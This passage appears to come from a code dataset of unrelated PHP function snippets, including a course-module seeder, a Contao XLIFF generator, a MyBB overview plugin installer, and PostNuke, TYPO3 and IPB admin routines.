Architectures',\n 'CS5239 Computer System Performance Analysis',\n 'CS2104 Programming Language Concepts',\n 'CS4215 Programming Language Implementation',\n 'CS4212 Compiler Design',\n 'CS3234 Logic and Formal Systems',\n 'CS5205 Foundation in Programming Languages',\n 'CS5232 Formal Specification & Design Techniques',\n 'CS5214 Design of Optimising Compilers',\n 'CS5218 Principles of Program Analysis',\n 'CS2103 Software Engineering',\n 'CS3213 Software Systems Design',\n 'CS3219 Software Engineering Principles and Patterns',\n 'CS4211 Formal Methods for Software Engineering',\n 'CS4218 Software Testing',\n 'CS3216 Software Development on Evolving Platforms',\n 'CS3226 Web Programming and Applications',\n 'CS3882 Breakthrough Ideas for Digital Markets',\n 'CS4217 Software Development Technologies',\n 'CS5219 Automatic Software Validation',\n 'CS5272 Embedded Software Design',\n 'IS2102 Requirements Analysis and Design',\n 'IS2104 Software Team Dynamics',\n 'CS3242 3D Modeling and Animation',\n 'CS6243 Computational Photography',\n 'CS1010J Programming Methodology',\n 'IS1103/FC Computing and Society',\n 'IS1105 Strategic IT Applications',\n 'IS2101 Business and Technical Communication',\n 'IS2103 Enterprise Systems Development Concepts',\n 'IS3101 Management of Information Systems',\n 'IS3102 Enterprise Systems Development Project',\n 'IS4100 IT Project Management',\n 'ACC1002X Financial Accounting',\n 'MA1301 Introductory Mathematics',\n 'MA1312 Calculus with Applications',\n 'CP4101 B.Comp. Dissertation',\n 'CS2106 Introduction to Operating Systems ',\n 'CS3235 Introduction to Computer Security',\n 'IS3220 Service Science ',\n 'IS3221 Enterprise Resource Planning Systems',\n 'IS3222 IT and Customer Relationship Management ',\n 'IS3223 IT and Supply Chain Management ',\n 'IS3240 Economics of E-Business',\n 'IS3241 Enterprise Social Systems',\n 'IS3242 Software Quality Management',\n 'IS3243 Technology Strategy and Management',\n 'IS3250 Health Informatics',\n 'IS3251 Principles of Technology Entrepreneurship',\n 'IS3260 Gamification for Organisations and Individuals',\n 'IS3261 Mobile Apps Development',\n 'CS4880 Digital Entrepreneurship',\n 'IS4202 Global Virtual Project',\n 'IS4203 IT Adoption and Change Management',\n 'IS4204 IT Governance',\n 'IS4224 Service Systems ',\n 'IS4225 Strategic IS Planning ',\n 'IS4226 IT Outsourcing and Offshoring Management ',\n 'IS4227 Enterprise Service-Oriented Architecture ',\n 'IS4228 Information Technologies in Financial Services',\n 'IS4232 Topics in Information Security Management',\n 'IS4233 Legal Aspects of Information Technology',\n 'IS4234 Control and Audit of Information Systems',\n 'IS4240 Business Intelligence Systems',\n 'IS4241 Social Media Network Analysis',\n 'IS4243 Information Systems Consulting',\n 'IS4250 Healthcare Analytics',\n 'IS3150 Digital and New Media Marketing',\n 'IS4150 Mobile and Ubiquitous Commerce',\n 'IS4260 E-Commerce Business Models',\n 'IS3222 IT and Customer Relationship Management',\n 'IS3261 Mobile Apps Development for Enterprise',\n 'IS4225 Strategic IS Planning',\n 'IS4010 Industry Internship Programme',\n 'BT1101 Introduction to Business Analytics',\n 'CS1010S Programming Methodology',\n 'EC1301 Principles of Economics',\n 'IS1103 Computing and Society',\n 'MA1311 Matrix Algebra and Applications',\n 'MA1101R Linear Algebra I2',\n 'MA1102R Calculus2',\n 'MKT1003X Marketing',\n 'BT2101 IT and Decision Making',\n 'BT2102 Data Management and Visualisation',\n 'IE2110 Operations Research I3',\n 'DSC3214 Introduction To Optimisation',\n 'IS2101 Business and Technical Communication4',\n 'BT3101 Business Analytics Capstone Project',\n 'BT3102 Computational Methods for Business Analytics',\n 'BT3103 Application Systems Development for Business Analytics',\n 'ST3131 Regression Analysis',\n 'BT4101 B.Sc. Dissertation',\n 'DSC3224 Dynamic Pricing and Revenue Management',\n 'IE3120 Manufacturing Logistics',\n 'BT4211 Data-Driven Marketing',\n 'BT4212 Search Engine Optimization and Analytics',\n 'DSC4213 Analytical Tools for Consulting',\n 'MKT4415C Seminars in Marketing: Applied Market Research',\n 'DSC3216 Forecasting for Managerial Decisions',\n 'BSP4513 Econometrics: Theory & Practical Business Application',\n 'BT4221 Big Data Techniques and Technologies',\n 'BT4222 Mining Web Data for Business Insights',\n 'IE4210 Operations Research II',\n 'ST4240 Data Mining',\n 'ST4245 Statistical Methods for Finance',\n\n ];\n\n foreach ($modules as $module) {\n \\App\\Topic::create([\n 'name' => $module,\n ], 1);\n }\n }", "protected function compile()\n {\n $arrModules = $this->Config->getActiveModules();\n\n if ($this->Input->get('act') == 'generate') {\n $strModule = $this->Input->get('module');\n $strComp = $this->Input->get('comp');\n $strLanguage = $this->Input->get('language');\n\n $strSourceFile = sprintf('system/modules/%s/languages/%s/%s.php',\n $strModule,\n $strLanguage,\n $strComp);\n $strTargetFile = sprintf('system/modules/%s/languages/%s/%s.xlf',\n $strModule,\n $strLanguage,\n $strComp);\n\n if (!file_exists(TL_ROOT . '/' . $strSourceFile)) {\n $_SESSION['TL_ERROR'][] = 'Missing source file ' . $strSourceFile . '!';\n }\n\n else {\n unset($GLOBALS['TL_LANG']);\n require(TL_ROOT . '/' . $strSourceFile);\n $arrSourceLanguage = deserialize(serialize($GLOBALS['TL_LANG']));\n\n $doc = Xliff::getInstance()->generateXliff(\n $strSourceFile,\n 'php',\n filemtime(TL_ROOT . '/' . $strSourceFile),\n '',\n $strLanguage,\n $arrSourceLanguage,\n $strLanguage\n );\n\n // output should formated\n $doc->formatOutput = true;\n\n // generate the xml for output\n $xml = $doc->saveXML();\n\n // generate directories\n $this->mkdirs(dirname($strTargetFile));\n\n // write the file\n $objFile = new File($strTargetFile);\n $objFile->write($xml);\n $objFile->close();\n\n $_SESSION['TL_INFO'][] = sprintf('Create new file %s.', $strTargetFile);\n }\n\n $this->redirect('contao/main.php?do=xliff');\n }\n\n $GLOBALS['TL_CSS']['xliff'] = 'system/modules/xliff/public/backend.css';\n $GLOBALS['TL_JAVASCRIPT']['xliff'] = 'system/modules/xliff/public/backend.js';\n\n $arrFiles = array();\n $arrLanguages = array();\n foreach ($arrModules as $strModule) {\n if (in_array($strModule, array('calendar', 'comments', 'core', 'devtools', 'faq', 'listing', 'news', 'newsletter', 'repository'))) {\n continue;\n }\n\n $strLanguagesPath = TL_ROOT . '/system/modules/' . $strModule . '/languages';\n if (is_dir($strLanguagesPath)) {\n $arrModuleLanguages = scan($strLanguagesPath);\n\n foreach ($arrModuleLanguages as $strLanguage) {\n $arrLanguages[] = $strLanguage;\n\n $strLanguagePath = $strLanguagesPath . '/' . $strLanguage;\n\n if (is_dir($strLanguagePath)) {\n $arrLanguageFiles = scan($strLanguagePath);\n\n foreach ($arrLanguageFiles as $strLanguageFile) {\n // absolute path to the php file\n $strLanguageFile = $strLanguagePath . '/' . $strLanguageFile;\n\n if (preg_match('#\\.(xlf|php)$#', $strLanguageFile, $arrMatch)\n ) {\n // extract the language key (first part of the TL_LANG array\n $strLanguageKey = basename($strLanguageFile, '.' . $arrMatch[1]);\n\n // store the php file timestamp\n $arrFiles[$strModule][$strLanguageKey][$strLanguage][$arrMatch[1]]['mtime'] = filemtime($strLanguageFile);\n }\n }\n }\n }\n }\n }\n\n natcasesort($arrModules);\n ksort($arrFiles);\n $arrLanguages = array_unique(array_filter(array_values($arrLanguages)));\n natcasesort($arrLanguages);\n\n $this->Template->modules = $arrModules;\n $this->Template->files = $arrFiles;\n $this->Template->languages = $arrLanguages;\n }", "function aman_create_page() {\n\trequire_once(get_template_directory() . '/inc/templates/aman-admin.php');\n}", "function _survey_cygnal_script_build_file($datos){\n\t\t#$path = drupal_get_path('module', 'survey_cygnal');\n\t\t#require_once $path.\"/includes/survey_cygnal.word.inc\";\n\t\t\n\t\t$data=$datos;\n\t\t/*$data = array();\n\t\t$data['node']['logo_cygnal'] \t\t= $path.\"/theme/img/logo_cygnal_transparent.png\";\n\t\t$data['node']['logo_custamer'] \t\t= $path.\"/theme/img/logos/logo_empresa.png\";\n\t\t$data['node']['text_header'] \t\t= \"Cygnal Pulse Survey Platform\";\n\n\t\t$data['node']['show_text_header'] \t= 1; // 0:No 1:Si\n\n\t\t$data['node']['text_zone'] \t\t\t= \"Florida Statewide\";\n\t\t$data['node']['text_client'] \t\t= \"Frontline Strategies\";\n\t\t$data['node']['text_status'] \t\t= \"- APROVED -\";\n\t\t$data['node']['text_project_id'] \t= \"171229L-FLS-FL\";\n\t\t$data['node']['text_title'] \t\t= \"Survey of Likely General Election Voters\";\n\t\t$data['node']['text_date'] \t\t\t= $fecha;\n\t\t$data['node']['text_intro'] \t\t= \"Hi. I’m _________________ with Seminole [SIM-uh-nole] Research. We are conducting an issue survey in Florida today and need your help. Your confidential responses will play an important role in the legislative process.\";\n\t\t\n\t\t# ---------------------------------------------------------------------------\n\t\t# PREGUNTA 1\n\t\t$data['node']['questions'][] = array(\n\t\t\t'question_type' \t=> '2',\t\n\t\t\t'question_head' \t=> array(),\n\t\t\t'question' \t\t\t=> 'How likely are you to vote in the 2018 General Election for Senate, Congress, Governor, state legislature, and local offices next November?',\n\t\t\t'answer_head' \t\t=> array(),\n\t\t\t'answers' => array(\n\t\t\t\t'a' => array(\n\t\t\t\t\t'answer_text' => 'Definitely voting', \n\t\t\t\t\t'answer_info' => ''\n\t\t\t\t),\n\t\t\t\t'b' => array(\n\t\t\t\t\t'answer_text' => 'Probably voting',\n\t\t\t\t\t'answer_info' => ''\n\t\t\t\t),\n\t\t\t\t'c' => array(\n\t\t\t\t\t'answer_text' => 'Probably not voting',\n\t\t\t\t\t'answer_info' => ''\n\t\t\t\t),\n\t\t\t\t'd' => array(\n\t\t\t\t\t'answer_text' => 'Definitely not voting',\n\t\t\t\t\t'answer_info' => ''\n\t\t\t\t),\n\t\t\t\t'e' => array(\n\t\t\t\t\t'answer_text' => 'Not sure',\n\t\t\t\t\t'answer_info' => '[DO NOT READ]'\n\t\t\t\t),\n\t\t\t),\n\t\t\t'question_footer' => array(\n\t\t\t\t'IF DEF VOTING, PROB VOTING OR NOT SURE, GO TO Q2',\n\t\t\t\t'IF NOT VOTING, SAY “Thank You” AND TERMINATE'\n\t\t\t),\n\t\t);\n\n\t\t\n\t\t# ---------------------------------------------------------------------------\n\t\t// ADICIONALES.\n\t\t$data['node']['aditionals'][] = array(\n\t\t\t'aditional_text' => 'Congressional District',\n\t\t\t'aditional_info' => '[FROM VOTER FILE]',\n\t\t);\n\t\t*/\n\n\t\treturn _survey_cygnal_script_word( $data );\n\t}", "function overview_install()\n{\n overview_uninstall();\n\n global $db;\n\n // Insert templates\n $templatearray = array(\n \"title\" => \"overview\",\n \"template\" => \"<table width=\\\"100%\\\" border=\\\"0\\\" cellspacing=\\\"{\\$theme[\\'borderwidth\\']}\\\" cellpadding=\\\"0\\\" class=\\\"tborder\\\">\n <thead>\n <tr><td colspan=\\\"{\\$num_columns}\\\"><table border=\\\"0\\\" cellspacing=\\\"0\\\" cellpadding=\\\"{\\$theme[\\'tablespace\\']}\\\" width=\\\"100%\\\"><tr class=\\\"thead\\\"><td>{\\$collapseinsert1}<strong>{\\$lang->overview_overview}</strong></td></tr></table></td>\n </tr>\n </thead>\n <tbody{\\$collapseinsert2}>\n {\\$trow_message}\n <tr>\n {\\$overview_content}\n </tr>\n </tbody>\n </table>\n <br />\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_2_columns\",\n \"template\" => \"<td valign=\\\"top\\\" class=\\\"{\\$trow}\\\"><table width=\\\"100%\\\" border=\\\"0\\\" cellspacing=\\\"0\\\" cellpadding=\\\"{\\$theme[\\'tablespace\\']}\\\">\n <tr class=\\\"tcat\\\">\n <td colspan=\\\"2\\\" valign=\\\"top\\\"><strong>{\\$table_heading}</strong></td>\n </tr>\n <tr class=\\\"{\\$trow}\\\">\n <td valign=\\\"top\\\"><strong>{\\$column1_heading}</strong></td>\n <td align=\\\"right\\\" valign=\\\"top\\\"><strong>{\\$column2_heading}</strong></td>\n </tr>\n {\\$table_content}\n </table></td>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_2_columns_row\",\n \"template\" => \"<tr class=\\\"{\\$trow}\\\">\n <td valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val1}</div></td>\n <td align=\\\"right\\\" valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val2}</div></td>\n </tr>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_3_columns\",\n \"template\" => \"<td valign=\\\"top\\\" class=\\\"{\\$trow}\\\"><table width=\\\"100%\\\" border=\\\"0\\\" cellspacing=\\\"0\\\" cellpadding=\\\"{\\$theme[\\'tablespace\\']}\\\">\n <tr class=\\\"tcat\\\">\n <td colspan=\\\"3\\\" valign=\\\"top\\\"><strong>{\\$table_heading}</strong></td>\n </tr>\n <tr class=\\\"{\\$trow}\\\">\n <td valign=\\\"top\\\"><strong>{\\$column1_heading}</strong></td>\n <td valign=\\\"top\\\"><strong>{\\$column2_heading}</strong></td>\n <td align=\\\"right\\\" valign=\\\"top\\\"><strong>{\\$column3_heading}</strong></td>\n </tr>\n {\\$table_content}\n </table></td>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_3_columns_row\",\n \"template\" => \"<tr class=\\\"{\\$trow}\\\">\n <td valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val1}</div></td>\n <td valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val2}</div></td>\n <td align=\\\"right\\\" valign=\\\"top\\\"><div class=\\\"smalltext\\\">{\\$val3}</div></td>\n </tr>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $templatearray = array(\n \"title\" => \"overview_message\",\n \"template\" => \"<tr class=\\\"trow1\\\">\n <td colspan=\\\"{\\$num_columns}\\\">\n <table border=\\\"0\\\" cellspacing=\\\"0\\\" cellpadding=\\\"{\\$theme[\\'tablespace\\']}\\\" width=\\\"100%\\\">\n <tr>\n <td class=\\\"smalltext\\\">\n {\\$overview_message}\n </td>\n </tr>\n </table>\n </td>\n </tr>\",\n \"sid\" => -1\n );\n $db->insert_query(\"templates\", $templatearray);\n\n $query = $db->query(\"SELECT MAX(disporder) as disporder\n FROM \".TABLE_PREFIX.\"settinggroups\");\n $row = $db->fetch_array($query);\n $disporder = $row['disporder'] + 1;\n\n // Insert setting groups\n $overview_group = array(\n \"name\" => \"Overview\",\n \"title\" => \"Overview\",\n \"description\" => \"Settings for the \\\"Overview\\\"-Plugin.\",\n \"disporder\" => $disporder,\n \"isdefault\" => 0\n );\n $db->insert_query(\"settinggroups\", $overview_group);\n $gid = intval($db->insert_id());\n\n $disp = 1;\n $spalte = 1;\n\n // Drop down menu with 10 items\n $select10 = implode(\"\\n\", array(\"select\", \"0=No\", \"1=Yes (Order 1)\",\n \"2=Yes (Order 2)\", \"3=Yes (Order 3)\",\n \"4=Yes (Order 4)\", \"5=Yes (Order 5)\",\n \"6=Yes (Order 6)\", \"7=Yes (Order 7)\",\n \"8=Yes (Order 8)\", \"9=Yes (Order 9)\",\n \"10=Yes (Order 10)\"));\n\n // Insert settings\n $setting = array(\n \"name\" => \"overview_max\",\n \"title\" => \"Number of Items\",\n \"description\" => \"Enter the number of items (Users/Threads/Posts) to be shown.\",\n \"optionscode\" => \"text\",\n \"value\" => 5,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_newest_members\",\n \"title\" => \"Show newest members?\",\n \"description\" => \"Choose if you want the newest members to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => $spalte++,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_top_posters\",\n \"title\" => \"Show Top Posters?\",\n \"description\" => \"Choose if you want the top posters to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => intval($gid)\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_newest_threads\",\n \"title\" => \"Show newest threads?\",\n \"description\" => \"Choose if you want the newest threads to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => $spalte++,\n \"disporder\" => $disp++,\n \"gid\" => intval($gid)\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_most_replies\",\n \"title\" => \"Show threads with most replies?\",\n \"description\" => \"Choose if you want the threads with the most replies to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_favourite_threads\",\n \"title\" => \"Show favourite Threads?\",\n \"description\" => \"Choose if you want the favourite threads to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_newest_posts\",\n \"title\" => \"Show newest posts?\",\n \"description\" => \"Choose if you want the newest posts to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => $spalte++,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_edited_posts\",\n \"title\" => \"Show recently edited posts?\",\n \"description\" => \"Choose if you want the recently edited posts to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_bestrep_members\",\n \"title\" => \"Show best reputated members?\",\n \"description\" => \"Choose if you want the best reputated members to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_newest_polls\",\n \"title\" => \"Show best newest polls?\",\n \"description\" => \"Choose if you want the newest polls to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_next_events\",\n \"title\" => \"Show best next events?\",\n \"description\" => \"Choose if you want the next events to be shown.\",\n \"optionscode\" => $select10,\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_show_re\",\n \"title\" => \"Do you want to show the \\\"RE:\\\" from the subjects of replies?\",\n \"description\" => \"Choose if you want the \\\"RE:\\\" to be shown in front of the subjects of replies.\",\n \"optionscode\" => \"yesno\",\n \"value\" => 1,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_subjects_length\",\n \"title\" => \"Number of Characters\",\n \"description\" => \"How many characters of subjects should be shown (0 = show all)?\",\n \"optionscode\" => \"text\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_usernamestyle\",\n \"title\" => \"Format usernames?\",\n \"description\" => \"Do you want to format the usernames in the style of their usergroups?\",\n \"optionscode\" => \"yesno\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_showicon\",\n \"title\" => \"Show post icons?\",\n \"description\" => \"Do you want to display post icons in front of subjects?\",\n \"optionscode\" => \"yesno\",\n \"value\" => 1,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_showprefix\",\n \"title\" => \"Show thread prefix?\",\n \"description\" => \"Do you want to display thread prefix in front of subjects?\",\n \"optionscode\" => \"yesno\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_trow_message_onoff\",\n \"title\" => \"Show message?\",\n \"description\" => \"Choose if you want to show a message.\",\n \"optionscode\" => \"yesno\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_trow_message\",\n \"title\" => \"Message\",\n \"description\" => \"Enter the message. You can use MyCode.\",\n \"optionscode\" => \"textarea\",\n \"value\" => \"Enter your message here!\",\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_ajax\",\n \"title\" => \"AJAX\",\n \"description\" => \"Time (in seconds) if you want the overview box to reload itself periodically using AJAX. Set to 0 to disable.\",\n \"optionscode\" => \"text\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_ajax_loading\",\n \"title\" => \"Loading\",\n \"description\" => \"When using AJAX, do you want to show a \\\"Loading\\\"-Window?\",\n \"optionscode\" => \"yesno\",\n \"value\" => 1,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_usergroups\",\n \"title\" => \"Disable overview for usergroups\",\n \"description\" => \"Enter the IDs of the usergroups that should not see the overview table (0 = none). Seperate several IDs with commas.\",\n \"optionscode\" => \"text\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_noindex\",\n \"title\" => \"Hide overview from index page\",\n \"description\" => \"If you don\\\\'t want the overview to display on the index page, say yes. This is only useful if you make a custom overview page.\",\n \"optionscode\" => \"yesno\",\n \"value\" => 0,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n $setting = array(\n \"name\" => \"overview_cache\",\n \"title\" => \"Cache overview\",\n \"description\" => \"Building the Overview requires some database queries. The Overview result can be cached to reduce server load. Specify for how long the cache should be used (in seconds). Setting to 0 disables the cache.\",\n \"optionscode\" => \"text\",\n \"value\" => 300,\n \"disporder\" => $disp++,\n \"gid\" => $gid,\n );\n $db->insert_query(\"settings\", $setting);\n\n // rebuild settings.php\n rebuild_settings();\n}", "function Ephemerids_admin_new()\n{\n // Security check - important to do this as early as possible to avoid\n // potential security holes or just too much wasted processing\n if (!pnSecAuthAction(0, 'Ephemerids::Item', '::', ACCESS_ADD)) {\n return pnVarPrepHTMLDisplay(_MODULENOAUTH);\n }\n\n // Create output object - this object will store all of our output so that\n // we can return it easily when required\n\t$pnRender =& new pnRender('Ephemerids');\n\n\t// As Admin output changes often, we do not want caching.\n\t$pnRender->caching = false;\n\n // Language\n $pnRender->assign('languages', languagelist());\n\n // Return the output that has been generated by this function\n return $pnRender->fetch('ephemerids_admin_new.htm');\n}", "function main()\t{\n\t\tglobal $BE_USER,$LANG,$BACK_PATH,$TCA_DESCR,$TCA,$CLIENT,$TYPO3_CONF_VARS;\n\n\t\t// Access check!\n\t\t// The page will show only if there is a valid page and if this page may be viewed by the user\n\t\t$this->pageinfo = t3lib_BEfunc::readPageAccess($this->id,$this->perms_clause);\n\t\t$access = is_array($this->pageinfo) ? 1 : 0;\n\t\n\t\t\t// initialize doc\n\t\t$this->doc = t3lib_div::makeInstance('template');\n\t\t$this->doc->setModuleTemplate(t3lib_extMgm::extPath('ics_utopia') . 'mod3/mod_template.html');\n\t\t$this->doc->backPath = $BACK_PATH;\n\t\t$docHeaderButtons = $this->getButtons();\n\n\t\tif (($this->id && $access) || ($BE_USER->user['admin'] && !$this->id))\t{\n\n\t\t\t\t// Draw the form\n\t\t\t$this->doc->form = '<form action=\"\" method=\"post\" enctype=\"multipart/form-data\">';\n\n\t\t\t\t// JavaScript\n\t\t\t$this->doc->JScode = '\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 0;\n\t\t\t\t\tfunction jumpToUrl(URL)\t{\n\t\t\t\t\t\tdocument.location = URL;\n\t\t\t\t\t}\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t$this->doc->postCode='\n\t\t\t\t<script language=\"javascript\" type=\"text/javascript\">\n\t\t\t\t\tscript_ended = 1;\n\t\t\t\t\tif (top.fsMod) top.fsMod.recentIds[\"web\"] = 0;\n\t\t\t\t</script>\n\t\t\t';\n\t\t\t\t// Render content:\n\t\t\t$this->moduleContent();\n\t\t} else {\n\t\t\t\t// If no access or if ID == zero\n\t\t\t$docHeaderButtons['save'] = '';\n\t\t\t$this->content.=$this->doc->spacer(10);\n\t\t}\n\n\t\t\t// compile document\n\t\t$markers['FUNC_MENU'] = t3lib_BEfunc::getFuncMenu(0, 'SET[function]', $this->MOD_SETTINGS['function'], $this->MOD_MENU['function']);\n\t\t$markers['CONTENT'] = $this->content;\n\n\t\t\t\t// Build the <body> for the module\n\t\t$this->content = $this->doc->startPage($LANG->getLL('title'));\n\t\t$this->content.= $this->doc->moduleBody($this->pageinfo, $docHeaderButtons, $markers);\n\t\t$this->content.= $this->doc->endPage();\n\t\t$this->content = $this->doc->insertStylesAndJS($this->content);\n\t\n\t}", "function typeextra_web_links_render($args)\n{\n \t// Fetch previous data\n\tlist($onlySelectedCategory, $selectedcategory, $singleDropDown) = explode(':',$args['typeData']);\n \n \tif (!pnModAPILoad('pagesetter', 'admin'))\n \treturn pagesetterErrorPage(__FILE__, __LINE__, 'Failed to load Pagesetter admin API');\n\n\t$categories = pnModAPIFunc('Web_Links', 'user', 'categories', array ());\n\n\t$html .= \"<label for=\\\"typeextra_weblinks_singledropdown\\\">\" . _PG_WEBLINKS_SINGLE_DROPDOWN . \"</label>: <input type=\\\"checkbox\\\" id=\\\"typeextra_weblinks_singledropdown\\\" name=\\\"typeextra_weblinks_singledropdown\\\" value=\\\"1\\\"\" . ( $singleDropDown ? \" checked=\\\"1\\\"\" : \"\" ) . \" /><br />\\n\";\n \t$html .= \"<label for=\\\"typeextra_weblinks_onlyselectedcat\\\">\" . _PG_WEBLINKS_ONLY_SELECTED_CAT . \"</label>: <input type=\\\"checkbox\\\" id=\\\"typeextra_weblinks_onlyselectedcat\\\" name=\\\"typeextra_weblinks_onlyselectedcat\\\" value=\\\"1\\\"\" . ( $onlySelectedCategory ? \" checked=\\\"1\\\"\" : \"\" ) . \" /><br />\\n\";\n\t$html .= \"<label for=\\\"typeextra_weblinks_category\\\">\" . _PG_WEBLINKS_SINGLE_DROPDOWN . \"</label>: <select id=\\\"typeextra_weblinks_category\\\" typeextra_weblinks_category=\\\"category\\\">\\n\";\n\tforeach ($categories as $category) {\t\n\t\tif ($category['cat_id'] == $selectedcategory ) {\n\t\t\t$html .= \"<option value=\\\"\".$category['cat_id'].\"\\\" selected=\\\"selected\\\">\".$category['title'].\"</option>\\n\";\n\t\t} else {\n\t\t\t$html .= \"<option value=\\\"\".$category['cat_id'].\"\\\">\".$category['title'].\"</option>\\n\";\n\t\t}\n\t}\n\t$html .= \"</select>\\n\";\n\n \t// VERY IMPORTANT\n \t// Implement a JavaScript function that reads the selected publication type ID\n \t// and returns. The name of the function \"typeextra_submit\" is required by the\n \t// surrounding code.\n \t$html .= \"\n<script type='text/javascript'>\nfunction typeextra_submit()\n{\n\tvar flag = document.getElementById('typeextra_weblinks_onlyselectedcat');\n var onlySelectedCategory = (flag.checked) ? 1 : 0;\n var selectedcategory = document.getElementById('typeextra_weblinks_category').value;\n flag = document.getElementById('typeextra_weblinks_singledropdown');\n var singleDropDown = (flag.checked) ? 1 : 0;\n\treturn onlySelectedCategory + ':' + selectedcategory + ':' + singleDropDown;\n}\n</script>\n\";\n return $html;\n}", "public function buildConfigText() {\n\t\t$this->setPrimaryDomain();\n\t\n\t\tob_start();\n\t\t$installation_path = $this->installation_path;\n\t\t$name = $this->sitename;\n\t\t$domains = array(\n\t\t\t$this->primary_domain\n\t\t);\n\t\t$redirrectdomains = array();\n\t\tinclude(SHARED_PATH . 'provisioning/httpd.tpl');\n\t\t$config_text = ob_get_clean ();\n\t\treturn $config_text;\n\t\t\n\t}", "function auto_run()\n\t{\n\t\t$this->html = $this->ipsclass->acp_load_template('cp_skin_tools');\n\n\t\tswitch($this->ipsclass->input['code'])\n\t\t{\n\t\t\tcase 'master_xml_export':\n\t\t\t\t$this->master_xml_export();\n\t\t\t\tbreak;\n\n\t\t\tcase 'manage':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':' );\n\t\t\t\t$this->components_list();\n\t\t\t\tbreak;\n\n\t\t\tcase 'component_add':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':add' );\n\t\t\t\t$this->components_form('add');\n\t\t\t\tbreak;\n\t\t\tcase 'component_add_do':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':add' );\n\t\t\t\t$this->components_save('add');\n\t\t\t\tbreak;\n\n\t\t\tcase 'component_edit':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':edit' );\n\t\t\t\t$this->components_form('edit');\n\t\t\t\tbreak;\n\t\t\tcase 'component_edit_do':\n\t\t\t\t$this->ipsclass->admin->cp_permission_check( $this->perm_main.'|'.$this->perm_child.':edit' 